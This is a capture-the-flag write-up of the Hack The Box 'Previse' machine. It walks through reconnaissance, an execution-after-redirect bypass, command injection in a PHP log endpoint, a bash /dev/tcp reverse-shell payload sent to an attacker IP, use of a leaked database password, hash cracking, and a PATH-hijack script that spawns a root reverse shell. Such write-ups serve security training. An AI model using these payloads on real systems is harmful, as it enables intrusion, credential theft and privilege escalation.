Previse

Linux · Easy

10.10.11.104

Reconnaissance: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.11.104 

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)

Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 5.0 - 5.5 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.25 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.11.104     

All 1000 scanned ports on 10.10.11.104 are in ignored states.

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 18.04 Bionic.

80/tcp open http

The site is a file storage site:

Miscellaneous: PWA Web servers: Apache HTTP Server 2.4.29 Programming languages: PHP Operating systems: Ubuntu UI frameworks: UIKit

view-source:http://10.10.11.104/login.php

whatweb -a3 http://10.10.11.104/ -v
curl -i 10.10.11.104
HTTP/1.1 302 Found
Date: Sat, 27 Jan 2024 02:23:59 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=lpgr9udqnm71u3kthqiu4vu1lh; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 2801
Content-Type: text/html; charset=UTF-8
nikto -h http://10.10.11.104

+ Server: Apache/2.4.29 (Ubuntu)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8074 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2024-01-26 22:18:13 (GMT-5) (3261 seconds)
gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

/download.php         (Status: 302) [Size: 0] [--> login.php]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/.php                 (Status: 403) [Size: 277]

The footer gives a potential username. Some basic password guessing didn’t work, and I wasn’t able to get any different in error message between bad user and bad password:

POST /login.php HTTP/1.1
Host: 10.10.11.104
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.104
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.104/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=1tn046l5gb5jnt64pvfrpgt8rl
Connection: close

username=admin&password=admin

EAR Vuln:

Visiting the root / returns a HTTP 302 redirect to /login.php. However, there’s also a full page in that response:

This is an execution after redirect (EAR) vulnerability. The PHP code is likely checking for a session, and if there is none, sending the redirect. This is the example from the OWASP page:

<?php if (!$loggedin) {
     print "<script>window.location = '/login';</script>\n\n"; 
} ?>

This PHP code should have an exit; after that print. Otherwise, it sends the code that performs the redirect, but also prints the rest of the page.

Skipping Redirects:

By default, Burp intercept only stops requests, not responses. To see the root page, I’ll turn on Server Response Interception in Burp Proxy, and then turn Intercept On:

In Firefox, I’ll try to go to http://10.10.11.104 again, forwarding the request without changes, and Burp catches the response:

I’ll change “302 Found” to “200 OK”, and the page comes back: This page isn’t too useful, but it’s there. The are links across the top that go to four more pages: Accounts (/accounts.php) Files (/files.php) Management Menu –> Website Status (/status.php) Management Menu –> Log Data (file_logs.php)

To make this easier, I’ll put a rule in place to make this change always, keeping in mind that if I get a blank page, I should see if it was supposed to be a redirect:

status.php isn’t too interestingm other than that it identifies the back up database is MySQL:

While I can load both files.php and file_logs.php, they each contain functionality that return proper 302s, so I can’t access them without logging in. I’ll come back to these.

accounts.php has a message that only admins should be here, which is obviously not the case: I’ll fill in the form and submit, and it works: Now I can turn off the Burp rule and just log in.

Files: The files page contains a single file called SITEBACKUP.ZIP:

http://10.10.11.104/files.php

I was able to view this page using the proxy 302 replace, but not download the zip. Logged in, I can download it. Unsurprisingly, it contains all the source for the site:

Log Data: The other page is file_logs.php: Clicking submit downloads a CSV of file data: If I change the delimiter to “space”, I get the same logs but space delimited, as expected:

Shell as www-data

Identify Command Injection: I got access to the source code for the site, but this command injection can also be identified without it. I’ll show how I would approach it both ways.

Without Source: The first thing I want to look at it the request when I request logs:

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://10.10.11.104
DNT: 1
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=ee9qjj6lpu5v393dq8lu7hf8hf
Upgrade-Insecure-Requests: 1

delim=comma

The other options submit space and tab. What happens when I submit something not in the list? I’ll send this to Burp Repeater and change it to 0xdf. The response is the same as comma:

I don’t recognize that log format, but the fact that the page is returning it with different delimiters means that likely some text pattern matching and rearranging is going on. While this can be done naturally in PHP, it’s not that easy, compared to Bash. It is possible that the programmer is reading the file and making the manipulations in PHP, but it’s also possible the author is using system or shell_exec to call something outside PHP.

I’ll try using a ; to add a command to the parameter:

delim=comma;ping -c 1 10.10.14.6 #

I’ll open tcpdump and then send this with Burp, and ICMP comes back:

sudo tcpdump -i tun0 icmp

That’s command injection.

With Source:

With the source code, I’ll start with a grep that will identify many of the dangerous PHP functions:

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

The first and last ones are comments, but the middle on in logs.php is interesting. That file:

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
}
?> 

The developer even left a comment about using Python because it was easier. The output is echoed, but then later it ob_clean() to get rid of that so it doesn’t come back in the response. There is no sanitization of the user input before it’s put into the call to exec, which means that I can add all sorts of injections to get execution, like ; [command] and $([command]).

Shell To turn this RCE into a shell, I’ll simple add a reverse shell to the request with nc listening:

delim=comma%3b+bash+-c+'bash+-t+>%26+/dev/tcp/10.10.16.6/5555+0>%261'

On sending, it just hangs, but at nc:

┌──(kali💀kali)-[~]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.104] 41376

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@previse:/var/www/html$ whoami
www-data

www-data@previse:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as m4lwhere

Enumeration:

Homedirs There’s only one homedir, and it does have user.txt:

www-data@previse:/var/www/html$ cd /home/m4lwhere

www-data@previse:/home/m4lwhere$ ls -la
ls -la
total 52
drwxr-xr-x 6 m4lwhere m4lwhere 4096 Jan 27 07:22 .
drwxr-xr-x 3 root     root     4096 May 25  2021 ..
lrwxrwxrwx 1 root     root        9 Jun  6  2021 .bash_history -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 m4lwhere m4lwhere 3771 Apr  4  2018 .bashrc
drwx------ 2 m4lwhere m4lwhere 4096 May 25  2021 .cache
drwxr-x--- 3 m4lwhere m4lwhere 4096 Jun 12  2021 .config
drwx------ 4 m4lwhere m4lwhere 4096 Jun 12  2021 .gnupg
drwxrwxr-x 3 m4lwhere m4lwhere 4096 Jan 27 07:22 .local
-rw-r--r-- 1 m4lwhere m4lwhere  807 Apr  4  2018 .profile
-rw-r--r-- 1 m4lwhere m4lwhere   75 May 31  2021 .selected_editor
-rw------- 1 m4lwhere m4lwhere  601 Jan 27 07:12 .viminfo
-rw-r--r-- 1 m4lwhere m4lwhere   75 Jun 18  2021 .vimrc
-r-------- 1 m4lwhere m4lwhere   33 Jan 27 02:14 user.txt

I can’t read it yet, or anything else of use in here.

DB: The status page did mention MySQL. I’ll check out the web directory. There’s a config.php:

<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

That password doesn’t work for any users on the box. I’ll connect to the DB with mysql:

www-data@previse:/home/m4lwhere$ mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'

There are five databases, but only one that’s really interesting:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+

It has two tables:

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |

files looks to hold the actual files, as that’s what a blob type is typically used for:

mysql> describe files;
+-------------+--------------+------+-----+-------------------+----------------+
| Field       | Type         | Null | Key | Default           | Extra          |
+-------------+--------------+------+-----+-------------------+----------------+
| id          | int(11)      | NO   | PRI | NULL              | auto_increment |
| name        | varchar(255) | NO   |     | NULL              |                |
| size        | int(11)      | NO   |     | NULL              |                |
| user        | varchar(255) | YES  |     | NULL              |                |
| data        | blob         | YES  |     | NULL              |                |
| upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
| protected   | tinyint(1)   | YES  |     | 0                 |                |
+-------------+--------------+------+-----+-------------------+----------------+

I don’t want to do a select * from files as it will crash my session because the data is large. The only file is the one I already downloaded:

mysql> select name,size,user,protected from files;
+----------------+------+--------+-----------+
| name           | size | user   | protected |
+----------------+------+--------+-----------+
| siteBackup.zip | 9948 | newguy |         1 |
+----------------+------+--------+-----------+

accounts stores a name, password, and create time:

mysql> describe accounts;
+------------+--------------+------+-----+-------------------+----------------+
| Field      | Type         | Null | Key | Default           | Extra          |
+------------+--------------+------+-----+-------------------+----------------+
| id         | int(11)      | NO   | PRI | NULL              | auto_increment |
| username   | varchar(50)  | NO   | UNI | NULL              |                |
| password   | varchar(255) | NO   |     | NULL              |                |
| created_at | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
+------------+--------------+------+-----+-------------------+----------------+

There is one user that isn’t me:

mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | exodus   | $1$🧂llol$/k9M6thrL/wQDyj.Azr.W0 | 2024-01-27 06:45:48 |

The hash seems to be using an emoji character as part of the salt. This is a little silly, but nothing I can’t try to break.

Crack Hash: However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.

mysql> select TO_BASE64(password) from accounts where id = 1;
+--------------------------------------------------+
| TO_BASE64(password)                              |
+--------------------------------------------------+
| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |
+--------------------------------------------------+

I’ll put the hash into a file and feed it to Hashcat. Based on the example hashes page, it looks like md5-crypt, or mode 500:

┌──(kali💀kali)-[~/Desktop]
└─$ hashcat -m 500 salt  /usr/share/wordlists/rockyou.txt -O

SSH: That password works over SSH as m4lwhere:

sshpass -p 'ilovecody112235!' ssh m4lwhere@10.10.11.104

┌──(kali💀kali)-[~]
└─$ ssh m4lwhere@10.10.11.104
ilovecody112235!

m4lwhere@previse:~$ ls
user.txt

m4lwhere@previse:~$ cat user.txt
9da88d--------------------------

Shell as root

Enumeration: m4lwhere can run sudo on a script, access_backup.sh:

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

There’s an important line missing from that output where sudo has been misconfigured to allow the next exploit.

The script is backing up logs to /var/backups:

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

The comment says they knows they shouldn’t be running this as root, but that they need to fix the permissions later. That’s a directory that is owned by and writable by root, which is why m4lwhere needs sudo to run it:

m4lwhere@previse:~$ ls -ld /var/backups/
drwxr-xr-x 2 root root 4096 Jan 27 06:25 /var/backups/

Path Injection: The vulnerability in this script is that gzip is called without a complete path. In /dev/shm, I’ll create a simple script called gzip. There are many things I could do, including just calling bash, though I had some issues getting that to work. I’ll have it write my public key into root’s authorized_keys file and spawn a reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/2560 0>&1
m4lwhere@previse:~$ cd /dev/shm
m4lwhere@previse:/dev/shm$ nano gzip
m4lwhere@previse:/dev/shm$ ls
gzip
m4lwhere@previse:/dev/shm$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/2560 0>&1

m4lwhere@previse:/dev/shm$ export PATH=/dev/shm:$PATH

m4lwhere@previse:/dev/shm$ echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

m4lwhere@previse:/dev/shm$ chmod +x gzip

m4lwhere@previse:/dev/shm$ sudo /opt/scripts/access_backup.sh
[sudo] password for m4lwhere: 
┌──(kali💀kali)-[~]
└─$ nc -nlvp 2560               
listening on [any] 2560 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.104] 34958
root@previse:/dev/shm# whoami
root

root@previse:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

root@previse:~# locate root.txt
/root/root.txt

root@previse:~# cat /root/root.txt
2606a5---------------------------

Last updated